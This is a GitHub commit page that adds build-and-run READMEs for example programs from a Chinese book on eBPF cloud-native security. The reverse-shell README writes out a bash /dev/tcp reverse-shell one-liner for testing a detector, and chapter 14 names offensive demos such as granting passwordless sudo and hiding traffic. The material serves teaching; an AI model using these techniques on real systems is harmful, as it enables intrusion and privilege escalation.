Skip to content

Commit

Permalink
docs: add more documents
Browse files Browse the repository at this point in the history
  • Loading branch information
mozillazg committed Aug 31, 2024
1 parent 94111d5 commit 003ba43
Show file tree
Hide file tree
Showing 26 changed files with 450 additions and 6 deletions.
4 changes: 3 additions & 1 deletion README.md
Original file line number Diff line number Diff line change
@@ -1,14 +1,16 @@
# eBPF 云原生安全:原理与实践

<img src="cover.jpg" height=250 alt="eBPF 云原生安全:原理与实践" />
![GitHub Actions Workflow Status](https://img.shields.io/github/actions/workflow/status/mozillazg/cloud-native-security-with-ebpf/build.yml?label=build%20programs&link=https%3A%2F%2Fgithub.com%2Fmozillazg%2Fcloud-native-security-with-ebpf%2Factions%2Fworkflows%2Fbuild.yml)



《eBPF 云原生安全:原理与实践》书中示例程序的完整源代码。


## 链接

<!-- * 豆瓣: -->
* 豆瓣:<https://book.douban.com/subject/37022239/>
* 天猫:<https://detail.tmall.com/item.htm?id=822518924758>
* 京东:<https://item.jd.com/10111206687256.html>

Expand Down
20 changes: 20 additions & 0 deletions chapter11/socket-filter-userspace-parse/README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,20 @@

## 编译

```
make build
```

## 运行

```
make run
```


在另一个终端中执行 ``ping 1.1.1.1 -c 2``



P.S. main.bpf.c 中有类似的 tcp 版本。

20 changes: 20 additions & 0 deletions chapter11/socket-filter/README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,20 @@

## 编译

```
make build
```

## 运行

```
make run
```


在另一个终端中执行 ``ping 1.1.1.1 -c 2``



P.S. main.bpf.c 中有类似的 tcp 版本。

19 changes: 19 additions & 0 deletions chapter11/tc-block/README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,19 @@

## 编译

```
make build
```

## 运行

```
sudo ./main <网络接口名称, 默认是 lo>
sudo ./main
sudo ./main ens33
```


在另一个终端中执行 ``ping 1.1.1.1 -c 2``


19 changes: 19 additions & 0 deletions chapter11/tc-userspace-parse/README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,19 @@

## 编译

```
make build
```

## 运行

```
sudo ./main <网络接口名称, 默认是 lo>
sudo ./main
sudo ./main ens33
```


在另一个终端中执行 ``ping 1.1.1.1 -c 2``


19 changes: 19 additions & 0 deletions chapter11/tc/README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,19 @@

## 编译

```
make build
```

## 运行

```
sudo ./main <网络接口名称, 默认是 lo>
sudo ./main
sudo ./main ens33
```


在另一个终端中执行 ``ping 1.1.1.1 -c 2``


19 changes: 19 additions & 0 deletions chapter11/xdp-block/README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,19 @@

## 编译

```
make build
```

## 运行

```
sudo ./main <网络接口名称, 默认是 lo>
sudo ./main
sudo ./main ens33
```


在另一个终端中执行 ``ping 1.1.1.1 -c 2``


19 changes: 19 additions & 0 deletions chapter11/xdp-userspace-parse/README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,19 @@

## 编译

```
make build
```

## 运行

```
sudo ./main <网络接口名称, 默认是 lo>
sudo ./main
sudo ./main ens33
```


在另一个终端中执行 ``ping 1.1.1.1 -c 2``


17 changes: 17 additions & 0 deletions chapter12/net-context/socket-filter/README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,17 @@

## 编译

```
make build
```

## 运行

```
make run
```


在另一个终端中执行 ``ping 1.1.1.1 -c 2``


21 changes: 21 additions & 0 deletions chapter12/net-context/tc-exist-process/README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,21 @@

## 编译

```
make build
```

## 运行

```
sudo ./main <网络接口名称, 默认是 lo>
sudo ./main
sudo ./main ens33
```

在另一个终端中执行 ``make cat`` 查看输出。


在另一个终端中执行 ``curl baidu.com``


21 changes: 21 additions & 0 deletions chapter12/net-context/tc/README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,21 @@

## 编译

```
make build
```

## 运行

```
sudo ./main <网络接口名称, 默认是 lo>
sudo ./main
sudo ./main ens33
```

在另一个终端中执行 ``make cat`` 查看输出。


在另一个终端中执行 ``curl baidu.com``


19 changes: 19 additions & 0 deletions chapter12/net-context/xdp/README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,19 @@

## 编译

```
make build
```

## 运行

```
sudo ./main <网络接口名称, 默认是 lo>
sudo ./main
sudo ./main ens33
```


在另一个终端中执行 ``ping 1.1.1.1 -c 2``


13 changes: 13 additions & 0 deletions chapter12/process-context/README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,13 @@

## 编译

```
make build
```

## 运行

```
make run
```

16 changes: 16 additions & 0 deletions chapter13/lsm-bprm_creds_from_file/README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,16 @@

## 编译

```
make build
```

## 运行

```
make run
```


在另一个终端中进入 ../memfd-create/ 目录下,按照 README 执行程序。

12 changes: 12 additions & 0 deletions chapter13/memfd-create/README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,12 @@

## 编译

```
make
```

## 运行

```
./memfd-create `which cat` README.md
```
21 changes: 21 additions & 0 deletions chapter13/reverse-shell/README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,21 @@

## 编译

```
make build
```

## 运行

```
make run
```


在另一个终端中执行:

```
nc -l 8233 &
bash -i >& /dev/tcp/127.0.0.1/8233 0>&1 &
```

30 changes: 30 additions & 0 deletions chapter14/add-sudo/README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,30 @@

## 编译

```
make build
```

## 运行


1. 在另一个终端中执行

```
sudo -u www-data sudo id
```
此时会提示需要输入密码。

2. 执行

```
make run
```

3. 在另一个终端中再次执行

```
sudo -u www-data sudo id
```
此时不再需要输入密码。

19 changes: 19 additions & 0 deletions chapter14/check-helper-call/README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,19 @@

## 编译

```
make build
```

## 运行

```
make run
```


在另一个终端中执行一个 ebpf 程序,比如执行 ../add-sudo 目录下的程序。


在另一个终端中执行一个 ``make cat`` 查看输出。

16 changes: 16 additions & 0 deletions chapter14/execve-hijack/README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,16 @@

## 编译

```
make build
```

## 运行

```
make run
```


在另一个终端中执行一些命令。

16 changes: 16 additions & 0 deletions chapter14/hide-incoming-traffic/README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,16 @@

## 编译

```
make build
```

## 运行

```
make run
```


在另一个终端中执行一些命令。

Loading

0 comments on commit 003ba43

Please sign in to comment.